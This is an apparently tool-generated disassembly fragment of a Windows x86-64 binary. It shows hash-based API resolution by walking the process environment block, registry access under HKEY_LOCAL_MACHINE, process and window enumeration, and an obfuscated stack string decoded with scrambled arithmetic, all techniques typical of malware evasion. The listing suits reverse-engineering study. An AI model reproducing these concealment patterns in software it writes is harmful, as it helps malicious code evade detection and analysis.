jmp 0x1401f92c1
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401f92d6
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401f92d6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401f92b4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401f9290
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401f92a7
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f92d3
cmp qword [rbx + 0x30], r13
jne 0x1401f91a3
mov r10, r13
mov qword [0x1404dbc30], r10
mov r15d, 1
mov qword [rsp + 0x40], r13
lea rax, [0x1404db4f8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404dbba8]
mov r12d, 8
test rdx, rdx
jne 0x1401f9480
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f9399
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401f938b
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1401f937a
cmp r8d, esi
jne 0x1401f9471
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401f9471
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401f9471
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x1401f93ee
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x1401f93e1
cmp r8d, r14d
je 0x1401f9403
test ebx, ebx
jne 0x1401f93cc
jmp 0x1401f9471
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x1401f9479
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1401f9479
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x1401f9442
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401f9434
jmp 0x1401f9457
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x1401f944a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401f9349
mov qword [0x1404dbba8], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
test rbx, rbx
jne 0x1401f95f8
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f9503
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f94f6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f94e7
cmp edx, esi
jne 0x1401f95dc
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f95dc
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f95dc
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f955d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f9552
cmp edx, r14d
je 0x1401f9573
test r11d, r11d
jne 0x1401f953d
jmp 0x1401f95d6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1401f95f1
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x1401f95f1
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f95b5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401f95a7
jmp 0x1401f95ca
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x1401f95bd
mov rbx, qword [r15]
mov r12d, 8
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f95ee
cmp qword [rbx + 0x30], r13
jne 0x1401f94b7
mov rbx, r13
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
test rdx, rdx
jne 0x1401f9770
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f9681
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f9674
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f9665
cmp edx, esi
jne 0x1401f9754
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f9754
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f9754
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f96db
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f96d0
cmp edx, r14d
je 0x1401f96f1
test r11d, r11d
jne 0x1401f96bb
jmp 0x1401f9754
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401f9769
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401f9769
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f9733
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401f9725
jmp 0x1401f9748
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401f973b
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f9766
cmp qword [rbx + 0x30], r13
jne 0x1401f9635
mov rdx, r13
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
test rdx, rdx
jne 0x1401f98df
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f97f0
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f97e3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f97d4
cmp edx, esi
jne 0x1401f98c3
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f98c3
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f98c3
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f984a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f983f
cmp edx, r14d
je 0x1401f9860
test r11d, r11d
jne 0x1401f982a
jmp 0x1401f98c3
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401f98d8
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401f98d8
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f98a2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401f9894
jmp 0x1401f98b7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401f98aa
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f98d5
cmp qword [rbx + 0x30], r13
jne 0x1401f97a4
mov rdx, r13
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
test rdx, rdx
jne 0x1401f9a4e
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f995f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f9952
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f9943
cmp edx, esi
jne 0x1401f9a32
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f9a32
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f9a32
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f99b9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f99ae
cmp edx, r14d
je 0x1401f99cf
test r11d, r11d
jne 0x1401f9999
jmp 0x1401f9a32
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401f9a47
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401f9a47
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f9a11
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401f9a03
jmp 0x1401f9a26
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401f9a19
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f9a44
cmp qword [rbx + 0x30], r13
jne 0x1401f9913
mov rdx, r13
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404dbbc8], r13
jne 0x1401f9bbc
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f9acb
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f9abe
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f9aaf
cmp edx, esi
jne 0x1401f9ba0
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401f9ba0
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401f9ba0
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401f9b25
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f9b1a
cmp edx, r14d
je 0x1401f9b3b
test r9d, r9d
jne 0x1401f9b05
jmp 0x1401f9ba0
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1401f9bb5
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x1401f9bb5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f9b7d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401f9b6f
jmp 0x1401f9b93
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x1401f9b86
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f9bb2
cmp qword [rbx + 0x30], r13
jne 0x1401f9a7f
mov r9, r13
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x1401f9c2d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x1401f9c15
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401f9bf9
cmp edx, 0x610c0de3
je 0x1401f9c83
mov r8, qword [r8]
cmp r8, r10
je 0x1401f9c23
cmp qword [r8 + 0x30], r13
jne 0x1401f9bdf
mov r8, r13
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x1401f9c7e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x1401f9c62
cmp ecx, 0xe463da3c
je 0x1401f9c89
add r9d, edi
jmp 0x1401f9c46
mov r8, qword [r8 + 0x30]
jmp 0x1401f9c26
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404dbbf8]
test r10, r10
jne 0x1401f9e1c
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f9d29
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f9d1c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f9d0d
cmp edx, esi
jne 0x1401f9dfb
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401f9dfb
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401f9dfb
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f9d7d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f9d72
cmp edx, r14d
je 0x1401f9d93
test r10d, r10d
jne 0x1401f9d5d
jmp 0x1401f9dfb
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401f9e10
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401f9e10
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401f9dee
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x1401f9dca
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x1401f9de1
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f9e0d
cmp qword [rbx + 0x30], r13
jne 0x1401f9cdd
mov r10, r13
mov qword [0x1404dbbf8], r10
mov edi, 1
lea r9, [rbp + 0x11b8]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404dbbf0]
test r8, r8
jne 0x1401f9f9b
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f9ead
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f9ea0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f9e91
cmp edx, esi
jne 0x1401f9f7f
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f9f7f
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f9f7f
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f9f01
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f9ef6
cmp edx, r14d
je 0x1401f9f17
test r11d, r11d
jne 0x1401f9ee1
jmp 0x1401f9f7f
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x1401f9f94
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x1401f9f94
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401f9f72
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x1401f9f4e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x1401f9f65
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f9f91
cmp qword [rbx + 0x30], r13
jne 0x1401f9e61
mov r8, r13
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov r14d, 0x40
or r12, 0xffffffffffffffff
lea r8, [rbp + 0x11bc]
mov edx, 0x1000
lea rcx, [rbp + 0x31f0]
call sub.KERNEL32.dll_K32EnumProcesses
mov r15d, 1
test eax, eax
je 0x1401fa004
mov eax, dword [rbp + 0x11bc]
shr eax, 2
test eax, eax
je 0x1401fa004
lea rbx, [rbp + 0x31f0]
mov edi, eax
mov ecx, dword [rbx]
call fcn.1402476c8
lea rbx, [rbx + 4]
sub rdi, r15
jne 0x1401f9ff4
xor edx, edx
lea rcx, [0x1401d2588]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.1401d173c
test al, al
jne 0x1401ff191
mov byte [rbp + 0xdf0], 0x9b
mov byte [rbp + 0xdf1], 0x59
mov byte [rbp + 0xdf2], 0x80
mov byte [rbp + 0xdf3], 0x5b
mov byte [rbp + 0xdf4], 0xa0
mov byte [rbp + 0xdf5], 0x45
mov byte [rbp + 0xdf6], 0xbb
mov byte [rbp + 0xdf7], 0x47
mov byte [rbp + 0xdf8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xdf9], 0x41
mov byte [rbp + 0xdfa], 0xaf
mov byte [rbp + 0xdfb], 0x43
mov byte [rbp + 0xdfc], 0xde
mov byte [rbp + 0xdfd], Ordinal_79
mov byte [rbp + 0xdfe], 0xdd
mov byte [rbp + 0xdff], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xe00], 0xac
mov byte [rbp + 0xe01], Ordinal_79
mov byte [rbp + 0xe02], 0x86
mov byte [rbp + 0xe03], Ordinal_79
mov byte [rbp + 0xe04], 0x99
mov byte [rbp + 0xe05], 0x75
mov byte [rbp + 0xe06], 0x98
mov byte [rbp + 0xe07], 0x77
mov byte [rbp + 0xe08], __WSAFDIsSet
mov byte [rbp + 0xe09], WSACleanup
mov byte [rbp + 0xe0a], 0xef
mov byte [rbp + 0xe0b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xe0c], 0xe8
mov byte [rbp + 0xe0d], 0x7d
mov byte [rbp + 0xe0e], 0xe2
mov byte [rbp + 0xe0f], 0x7f
mov byte [rbp + 0xe10], 0x9c
mov byte [rbp + 0xe11], 0x79
mov byte [rbp + 0xe12], 0xbb
mov byte [rbp + 0xe13], 0x7b
mov byte [rbp + 0xe14], 0xf4
mov byte [rbp + 0xe15], 0x65
mov byte [rbp + 0xe16], 0xf6
mov byte [rbp + 0xe17], 0x67
mov byte [rbp + 0xe18], 0xac
mov byte [rbp + 0xe19], 0x61
mov byte [rbp + 0xe1a], 0x83
mov byte [rbp + 0xe1b], 0x63
mov byte [rbp + 0xe1c], 0xf0
mov byte [rbp + 0xe1d], WSASetLastError
mov byte [rbp + 0xe1e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xe1f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xe20], Ordinal_143
mov byte [rbp + 0xe21], WSAGetLastError
mov byte [rbp + 0xe22], 0xa7
mov byte [rbp + 0xe23], WSASetLastError
mov byte [rbp + 0xe24], 0x88
mov byte [rbp + 0xe25], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xe26], 0xfe
mov byte [rbp + 0xe27], reloc.WS2_32.dll_socket
mov byte [rbp + 0xe28], 0xfd
mov byte [rbp + 0xe29], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xe2a], 0x80
mov byte [rbp + 0xe2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xe2c], 0xfd
mov byte [rbp + 0xe2d], Ordinal_32
mov byte [rbp + 0xe2e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xe2f], Ordinal_32
mov byte [rbp + 0xe30], 0xfa
mov byte [rbp + 0xe31], Ordinal_27
mov byte [rbp + 0xe32], 0xf3
mov byte [rbp + 0xe33], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xe34], __WSAFDIsSet
mov byte [rbp + 0xe35], 5
mov byte [rbp + 0xe36], 6
mov byte [rbp + 0xe37], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe38], xmm0
mov qword [rbp + 0xe48], rax
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r9, qword [rax]
mov r10, r13
cmp r10, 0x60
jae 0x1401fac4b
movzx r8d, byte [rbp + r10 + 0xdf0]
mov edx, r8d
cmp rbx, r10
ja 0x1401fac42
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401fa28e
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2c
jmp 0x1401fa2c5
je 0x1401fabbe
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401fab6d
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401fab0e
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401faae8
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x1401fac39
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x1401fa2fd
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x1401fa331
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401faa9f
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401faa7b
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401faa58
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401faa35
mov esi, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1401fa669
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x1401fa646
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1401fa632
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1401fa60f
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401fa5ec
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401fa5c9
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401fa5a2
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401fac15
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401fabf1
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401fa45b
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1401fa58b
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1401fa55c
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x1401fa343
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x1401fa548
